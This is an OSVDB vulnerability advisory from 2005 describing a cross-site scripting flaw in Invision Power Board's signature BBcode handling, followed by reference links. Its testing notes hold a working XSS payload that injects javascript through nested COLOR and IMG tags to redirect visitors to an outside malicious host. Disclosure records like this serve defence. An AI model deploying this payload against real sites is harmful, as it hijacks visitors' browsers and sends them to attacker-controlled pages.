Invision Power Board User Signature BBcode XSS

2005-01-15T19:55:07
ID OSVDB:15194
Type osvdb
Reporter OSVDB
Modified 2005-01-15T19:55:07

Description

Manual Testing Notes

[COLOR=[IMG]http://server/=image.jpg[/IMG]]style=background:url("javascrip t:document.location.replace('http://www.servermalicieux.com');")

References:

Vendor URL: http://www.invisionboard.com/ Security Tracker: 1013605 Other Advisory URL: http://www.securitylab.ru/51808.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-03/0496.html